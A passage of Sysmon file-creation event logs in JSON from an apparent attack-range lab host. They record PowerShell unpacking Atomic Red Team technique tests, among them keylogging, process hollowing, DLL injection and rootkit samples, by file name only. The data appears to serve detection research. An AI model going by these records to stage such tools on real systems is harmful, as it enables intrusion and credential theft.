{90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1014\\bin\\puppetstrings.exe\r\nCreationUtcTime: 2020-08-07 11:56:11.305","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:11.305","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1014\\bin\\puppetstrings.exe","CreationUtcTime":"2020-08-07 11:56:11.305","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4740,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:11.383\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1027.004\\bin\\T1027.004_DynamicCompile.exe\r\nCreationUtcTime: 2020-08-07 11:56:11.383","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:11.383","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1027.004\\bin\\T1027.004_DynamicCompile.exe","CreationUtcTime":"2020-08-07 11:56:11.383","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4741,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:11.414\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\bin\\T1036.003.exe\r\nCreationUtcTime: 2020-08-07 11:56:11.414","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:11.414","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\bin\\T1036.003.exe","CreationUtcTime":"2020-08-07 11:56:11.414","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4742,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.414\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\src\\T1036.003_masquerading.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.414","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.414","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\src\\T1036.003_masquerading.ps1","CreationUtcTime":"2020-08-07 11:56:11.414","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4743,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.430\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\src\\T1036.003_masquerading.vbs\r\nCreationUtcTime: 2020-08-07 11:56:11.414","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.430","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\src\\T1036.003_masquerading.vbs","CreationUtcTime":"2020-08-07 11:56:11.414","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.430\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\src\\T1036.003_test.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.430","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.430","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1036.003\\src\\T1036.003_test.bat","CreationUtcTime":"2020-08-07 11:56:11.430","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:11.492\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.004\\bin\\T1055.exe\r\nCreationUtcTime: 2020-08-07 11:56:11.492","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:11.492","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.004\\bin\\T1055.exe","CreationUtcTime":"2020-08-07 11:56:11.492","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.508\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.004\\src\\Win32\\T1055.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.508","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.508","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.004\\src\\Win32\\T1055.dll","CreationUtcTime":"2020-08-07 11:56:11.508","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.508\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.004\\src\\x64\\T1055.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.508","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.508","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.004\\src\\x64\\T1055.dll","CreationUtcTime":"2020-08-07 11:56:11.508","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.524\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.012\\src\\Start-Hollow.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.524","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.524","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055.012\\src\\Start-Hollow.ps1","CreationUtcTime":"2020-08-07 11:56:11.524","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.555\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055\\src\\Win32\\T1055.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.555","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.555","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055\\src\\Win32\\T1055.dll","CreationUtcTime":"2020-08-07 11:56:11.555","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.571\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055\\src\\x64\\T1055.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.571","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.571","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1055\\src\\x64\\T1055.dll","CreationUtcTime":"2020-08-07 11:56:11.571","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.571\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.001\\src\\Get-Keystrokes.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.571","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.571","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.001\\src\\Get-Keystrokes.ps1","CreationUtcTime":"2020-08-07 11:56:11.571","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.586\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\bin\\T1056.004x64.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.586","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.586","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\bin\\T1056.004x64.dll","CreationUtcTime":"2020-08-07 11:56:11.586","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.586\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\bin\\T1056.004x86.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.586","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.586","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\bin\\T1056.004x86.dll","CreationUtcTime":"2020-08-07 11:56:11.586","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.602\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\T1056.004.sln\r\nCreationUtcTime: 2020-08-07 11:56:11.602","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.602","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\T1056.004.sln","CreationUtcTime":"2020-08-07 11:56:11.602","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.602\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\T1056.004\\T1056.004.vcxproj\r\nCreationUtcTime: 2020-08-07 11:56:11.602","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.602","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\T1056.004\\T1056.004.vcxproj","CreationUtcTime":"2020-08-07 11:56:11.602","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.602\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\Win32\\T1056.004.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.602","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.602","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\Win32\\T1056.004.dll","CreationUtcTime":"2020-08-07 11:56:11.602","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:11.617\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\x64\\T1056.004.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.617","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.617","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1056.004\\src\\x64\\T1056.004.dll","CreationUtcTime":"2020-08-07 11:56:11.617","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 